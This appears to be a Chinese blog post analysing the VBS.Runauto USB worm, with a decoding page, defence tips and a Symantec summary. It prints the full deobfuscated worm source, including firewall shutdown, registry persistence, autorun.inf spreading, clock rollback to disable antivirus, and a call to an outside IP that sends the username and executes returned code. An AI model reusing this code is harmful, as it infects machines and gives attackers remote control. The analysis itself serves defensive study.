您好,登錄后才能下訂單哦!
這篇文章給大家分享的是有關VBS.Runauto腳本病毒的示例分析的內容。小編覺得挺實用的,因此分享給大家做個參考,一起跟隨小編過來看看吧。
最近一位同事的筆記本遭遇了這個病毒,正好這學期在給計算機專業的同學們上VBscript于是順便分析了一下。
首先從染病毒的計算機上提取下來病毒樣本,由于是臨時發現的,也沒有特別準備,就用winrar壓縮后保存。
在實驗機器上打開病毒樣本的壓縮文件,我的Symantec 11立即報警,并把病毒刪除了。所以必須禁用殺毒軟件或者設置一個“例外區域”用于分析病毒,于是在桌面上新建了“evA”文件夾,并將之設置為防病毒例外文件夾,這下病毒樣本安靜的躺在里面了。
腳本病毒是解釋型程序,因此我們不需要什么特別的反編譯工具就能查看源代碼了。雖然Windows的記事本足夠用了,但是我還是喜歡使用UltraEdit。
使用打開UltraEdit打開病毒文件如圖1,注意,為了防止誤觸發病毒,這里首先將vbs擴展名修改為txt。
圖1 病毒腳本
打開病毒腳本,大家可以發現代碼的可讀性非常差,大小寫字母雜亂的排列,并且還有很多無法理解的符號串。其實這是病毒為了保存自己而“想”出來的“保護傘”。
病毒代碼大小寫問題可以在UE(以后UltraEdit簡稱)中選擇文本后,使用Ctrl+F5直接轉換成小寫字母。對于類似密碼的“00c2%0033%……”的字符串相對來說比較麻煩點。
從病毒代碼中可以發現只要出現“亂碼”的地方都會有“STrREVeRSE”和“unEscaPE”函數的調用,其中“unescape”是vbscript標準函數,作用就是將經過escape函數編碼過的字符串進行反編碼。這里需要說明一下,由于Web中的Html對于有些符號是進行保留使用的,比如“<”和“>”符號,如果需要對這些符號進行顯示那么需要對他們進行html編碼,所有空格、標點、重音符號以及其他非 ASCII 字符都用 %xx 編碼代替,其中 xx 等于表示該字符的十六進制數。例如,空格返回的是 "%20" 。字符值大于 255 的,比如中文,以 %uxxxx 格式存儲。在對“密碼”進行分析,發現其實就是將escape編碼的符號串進行了反向,再結合“STrREVeRSE”函數名,可以斷定病毒作者為了能使病毒逃避殺毒軟件的檢測,采用了將關鍵代碼進行編碼和反向存儲的方式。
在UE中可以直接對字符串進行編碼和解碼,不過要對字符串鏡像并沒有現成的工具可以使用,最近正在給學生上JavaScript,順手寫了一個頁面進行解碼或者編碼,雖然很簡單,不過為了敘述的連續性,代碼如下:
復制代碼 代碼如下:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>將字符串Reverse</title>
<script type="text/javascript">
function _reverse()
{
with(document){
if(rev.order.checked){
revedstr = rev.instr.value.split('').reverse().join('')
write("<strong>reversed string:</strong>",revedstr,"<br>");
write("<strong>unescape string:</strong>",unescape(revedstr),"<br>");
write("<strong>escape string:</strong>",escape(revedstr),"<br>");
}
else{
unescapstr = unescape(rev.instr.value);
revedstr = unescapstr.split('').reverse().join('');
write("<strong>uneacape string:</strong>",unescapstr,"<br/>");
write("<strong>reversed string:</strong>",revedstr);
}
}
}
</script>
</head>
<body>
<form action="" method="post" name="rev">
<input name="order" type="checkbox" value="" />轉換順序(先求反后解碼)?<br />
<input name="instr" type="text" value="請在這里輸入" onmousemove="this.select()"/>
<input name="" type="button" value="轉換" onclick="_reverse()"/></form>
</body>
</html>
使用以上的工具對代碼進行解碼后代碼如下:
復制代碼 代碼如下:
On Error Resume Next
Set fso=CreateObject("scripting.filesystemobject")
Set wshshell=CreateObject(strreverse("wscript.shell"))
Dim dri_list,dri_list0
Dim issend
issend=0
c_time=Date()
' 這是關閉SharedAccess(Intemet連接共享和防火墻服務)。
wshshell.run "net stop sharedaccess",0
Set drvs=fso.drives
sysdir=fso.GetSpecialFolder(1) 'WindowsFolder=0,SystemFolder=1, TemporaryFolder=2
thispath=wscript.ScriptFullName
Set fc=fso.OpenTextFile(thispath,1) 'ForReading=1,ForWriting=2 ,ForAppending=8
scopy=fc.readall
fc.Close
Set fc=Nothing
' 寫注冊表注冊文件sysinfo.reg,注冊系統開機自動執行病毒
Call writefile(sysdir&"\sysinfo.reg","windows registry editor version 5.00 [hkey_local_machine\software\policies\microsoft\windows\system\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00 [hkey_local_machine\software\microsoft\windows\currentversion\group policy\state\machine\scripts\startup\0\0] "script"="%windir%\\system32\\prncfg.vbs" "parameters"="" "exectime"=hex(b):00,00,00,00,00,00,00,00,00,00,00,00,00,00,00,00
")
' 導入注冊表sysinfo.reg
wshshell.run "regedit /s sysinfo.reg",0
wscript.sleep 200
fso.deletefile sysdir&"\sysinfo.reg",True
' 如果當前運行腳本在系統目錄中
If InStr(thispath,sysdir)>0 Then
dri_list0=listdrv()
o_time=left(c_time,3)&cstr(Int(Mid(c_time,4,1))-1)&Right(c_time,Len(c_time)-4) '回撥時間1年
wshshell.run "cmd /c Date "&o_time,0
wscript.sleep 10000
For dri_i=1 to Len(dri_list0)
Call writeauto(Mid(dri_list0,dri_i,1)&":\")
Next
wshshell.run "cmd /c Date "&c_time,0
' WMI應用查詢計算機名,用戶名
computername="":username=""
Set objwmiservice=GetObject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
Set colcomputers = objwmiservice.execquery("select * from win32_computersystem")
For Each objcomputer in colcomputers
computername=objcomputer.name
username=objcomputer.username
Next
If username="" Then username="evar"
If InStr(username,"\")<=0 Then
username=computername&"\"&username
End If
do
If issend=0 Then
' 鏈接外網,獲得執行代碼
Set xml=CreateObject("msxml2.serverxmlhttp")
xml.open "get","http://202.119.104.100/zzb/eva/count.asp?a="&username,0
' http://202.119.104.100/zzb/是南師大學校黨委組織部主辦的網站
xml.setrequestheader "user-agent","evar"
xml.send()
If Err.number=0 Then
issend=1
res=xml.responsetext
If ucase(left(res,7))=ucase("Execute") Then Execute res
Else
Err.clear
End If
Set xml=Nothing
End If
dri_list=listdrv()
For dri_k=1 to Len(dri_list)
If InStr(dri_list0,Mid(dri_list,dri_k,1))<=0 Then
Call writeauto(Mid(dri_list,dri_k,1)&":\")
End If
Next
dri_list0=dri_list
wscript.sleep 1000
loop
Else
wshshell.run "explorer .\",3
wscript.sleep 2000
wshshell.appactivate LCase("我的電腦")
wshshell.sendkeys UCase("% c") ' 模擬擊鍵 alt + space + c ,其實就是關閉窗口
runflag=0
' 獲得當前系統進程,WMI的應用
For each ps in GetObject _
("winmgmts:\\.\root\cimv2:win32_process").instances_
If lcase(ps.name)=lcase("wscript.exe") Then
runflag=runflag+1
End If
Next
If runflag>=2 Then wscript.quit
Set sf=fso.GetFolder(sysdir)
f_time=Left(sf.datecreated,InStr(sf.datecreated," ")-1)
wshshell.run "cmd /c Date "&f_time,0
wscript.sleep 100
Call writefile(sysdir&lcase("\prncfg.vbs"),vs(scopy))
wshshell.run "cmd /c Date "&c_time,0
wshshell.run sysdir&"\prncfg.vbs"
End If
' 混亂字符串,進行代碼變體!
Function vs(str)
Execute "For i=1 to Len(str) c=ucase(Mid(str,i,1)) randomize If Int(rnd()*100)>50 Then vs=vs&lcase(c) Else vs=vs&c End If Next vs=replace(vs,ucase("%u"),lcase("%u"))"
End Function
' 列出驅動器
Function listdrv()
Execute "Dim tmp_list tmp_list="" For each drv in drvs If drv.isready Then tmp_list=tmp_list&drv.driveletter End If Next listdrv=tmp_list"
End Function
' 寫autorun.inf文件
Sub writeauto(path)
' 寫Auto文件前的準備,如果path中有autorun.inf文件夾那么重命名;如果有autorun.inf文件則刪除
Execute "If fso.folderexists(path&"autorun.inf") Then fso.movefolder path&"autorun.inf",path&rnd() elseif fso.fileexists(path&"autorun.inf") Then fso.deletefile path&"autorun.inf",true End If"
' autorun.inf中的啟動代碼
cmdstr="shell\*\command=wscript.exe "&chr(34)&"eva.vbs"&chr(34)
autostr="[autorun]"&vbcrlf&"open="&vbcrlf&replace(cmdstr,"*","open")&vbcrlf&replace(cmdstr,"*","explore")&vbcrlf&replace(cmdstr,"*","find")
' 寫入
Call writefile(path&ucase("autorun.inf"),autostr)
Call writefile(path&"eva.vbs",vs(scopy))
End Sub
'將content中的內容寫入fpath,并設置文件屬性是ReadOnly、Hidden和System
Sub writefile(fpath,content)
Execute "If fso.fileexists(fpath) Then fso.deletefile fpath,true Set fc=fso.OpenTextFile(fpath,2,true) fc.write content fc.Close Set fc=Nothing Set fa=fso.getfile(fpath) fa.attributes=7 Set fa=Nothing"
End Sub
以上的代碼已經添加了很多注釋,如果你能奈著性子看到這里,估計應該明白的差不多了。代碼本身的編碼質量一般,因為這個代碼在下載病毒指令是從南師大的一個網站上下載的,所以估計是個學生所為。
在這段病毒中,作者使用了自定義的vs函數進行“變臉”以逃避防病毒檢測,使用隨機方式對病毒體進行大小寫轉換,不過實際上這種處理對真正的防病毒軟件是沒有任何效果的J
在這個病毒中,使用了注冊表,Windows自動運行,文件操作還有WMI控制等技術,這些都是當前Windows環境中主流技術。可以發現這些技術微軟都為腳本,特別是VBScrit提供了調用接口,從技術上講是COM組件都提供了Automation接口,支持各種腳本的調用,本來是為了讓Windows腳本能做更過的事,但是他們也“很好”好的為病毒服務,因此我們在這里分析病毒主要目的不是為了編寫病毒,而是學習編程技術,利用其中的技術為我們的工作和學習提供方便。因此希望學習腳本編程的朋友,可以好好分析這個鮮活的例子。
以上說了那么多,其實還是沒有怎么詳細說道病毒,雖然我總是覺得代碼就是最好的解釋,但是總不能對不起標題上“分析”這兩個字吧。
其實這個病毒主要還是利用的Windows的Autorun.inf文件運轉的。作為病毒,必須用戶去運行,無論是直接還是間接的。當“無知用戶”雙擊帶毒U盤等瞬間,Autorun.inf文件中指向的eva.vbs病毒啟動了,首先通過關閉“SharedAccess”服務實現關閉Windows自帶的防火墻,這主要是為了讓后面的病毒能夠和外部的傀儡網站進行通信做準備。
關閉防火墻后,腳本寫入一個注冊表文件,通過后面在代碼中將之導入系統以實現病毒開機啟動,其實這也是病毒的共同特征。程序在啟動之后,需要判斷當前是否已經被感染,通常腳本對當前系統進程的情況進行處理是比較困那的,不過還好,Windows的WMI為腳本訪問系統功能提供了大量的接口,這里使用它檢測系統中是否有多份病毒進程,如果有那么就會自動退出。這個病毒中其實主要的功能就是復制,這也是被定義為worm病毒的原因,但其中有個重要的特征值的讓我覺得很有意思,就是這個病毒程序居然會執行從傀儡服務器發送來的病毒命令。
在這個病毒中,利用ServerXMLHTTP組件和傀儡服務器進行通訊,這個技術其實就是我們現在流行的AJAX技術中的基礎。在這里和服務器通訊,并執行從服務器下載的病毒代碼,這體現了現在病毒作者希望能夠長期對“肉雞”的控制,但是讓我不能理解的是,病毒中有段代碼是對當前計算機用戶的賬戶進行檢測的,并將用戶信息發送到服務器上。眾多周知,國人的操作系統中D版居多,其中這段時間被鬧的沸沸揚揚的“番茄花園”之類的改版Windows居多,這類Windows均有個共同的個點,就是安裝的系統都會使用他們的“品牌”作為用戶名,比如“番茄花園”版的Windows中默認用戶常常就是“番茄花園”。從這個病毒代碼上看,難道它還要對Windwos版本進行一個“D版占有量普查”么?
最后還要提到的一點就是這個病毒對系統時間的修改,通過修改系統時間進行對防病毒軟件的攻擊往往是致命的。說起來比較有諷刺意味,被這個病毒僅僅通過將時間向前倒撥一年,這樣很多防病毒軟件的授權時間就變成了非法的,這就好像當年WindowsXP剛發布的時候,設置錯誤的時間可能會造成系統奔潰一樣。錯誤的時間往往會破壞一個看似堅固的系統。通過這種方式,Kaspersky的授權時間變成了非法,隨之而來的就是防病毒引擎掛起,這樣這個沒有技術沒有難度的學生病毒就能大行其道了。這難道不是對防病毒廠商的諷刺么?為了保護自己的利益(使用時間授權),而讓用戶冒著被病毒攻擊的危險。事實上,有些防病毒廠商就注意到這個問題,如果授權過期了也不應該關閉查殺引擎,最多關閉放病毒庫的更新。另外這個病毒修改時間最妙的是把時間向前調整而不是往后,因為你不會知道不同的用戶的防病毒軟件的授權時間是1年還是n年,不過可以肯定,把時間向前調整一年的方式,可能對人而言同樣的授權還是正常的,但是對于計算機就難以理解了。
以上是我對這個病毒的簡單分析,主要談了自己所感興趣的幾個部分。下面談談對于病毒的防護,前端時間,我參加了Symantec南京的一個產品發布會,會上有個銷售在介紹他們的產品,其中他說到了一句會,“現在沒有誰會讓自己的電腦裸奔!!!”。相信很多朋友都知道,這里的裸奔就是指不安裝計算機殺毒軟件的電腦。實際上這個銷售說錯了,我曾經就有過1年多的時間“裸奔”,并且系統一直沒有出現任何問題,不是我自己說的,是后來我安裝了某品牌的防病毒軟件進行了掃描后沒有發現任何病毒的蹤影。至于為什么后來安裝了,完全是為了測試某品牌的殺毒軟件,后來也懶的刪除。
那么很多朋友要說,你可真是“神人”。我要答復的事,其實并不“神”,你們也可以做到,關鍵是你去不去做!
從這個病毒的運行全過程我們可以發現,基本上關鍵的操作都是需要系統管理員級別才能成功的。例如修改時間,枚舉系統進程,對注冊表進行讀寫。如果你所使用計算機的賬戶僅僅是個普通User權限,我想這個病毒就和你無緣了。
另外由于喜歡分析病毒的行為,這也為我“逃避”病毒找到了一些技巧。因為早在多年以前,我就分析過“歡樂時光”腳本病毒,那時候還不是很懂vbs腳本,可以說是病毒讓我進一步了解了vbs腳本的能力,為我后來能夠在工作中靈活運用腳本解決問題給了一個啟發!
附錄:Symantec對該病毒的資料
Discovered: March 12, 2007
Updated: March 12, 2007 5:17:48 PM
Type: Worm
Infection Length: 1,112 bytes
Systems Affected: Windows 98, Windows 95, Windows XP, Windows Me, Windows NT, Windows 2000
VBS.Runauto is a Visual Basic script worm that copies itself in the root folder of all drives (including removable devices) except floppy drives.
ProtectionInitial Rapid Release version March 13, 2007
Latest Rapid Release version September 17, 2008 revision 038
Initial Daily Certified version March 13, 2007
Latest Daily Certified version September 17, 2008 revision 039
Initial Weekly Certified release date March 14, 2007
Click here for a more detailed description of Rapid Release and Daily Certified virus definitions.
Threat AssessmentWildWild Level: Low
Number of Infections: 0 - 49
Number of Sites: 0 - 2
Geographical Distribution: Low
Threat Containment: Easy
Removal: Easy
DamageDamage Level: Low
Payload: Copies itself to all drives on the compromised computer.
DistributionDistribution Level: Low
Writeup By: Mircea Ciubotariu
感謝各位的閱讀!關于“VBS.Runauto腳本病毒的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,讓大家可以學到更多知識,如果覺得文章不錯,可以把它分享出去讓更多的人看到吧!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。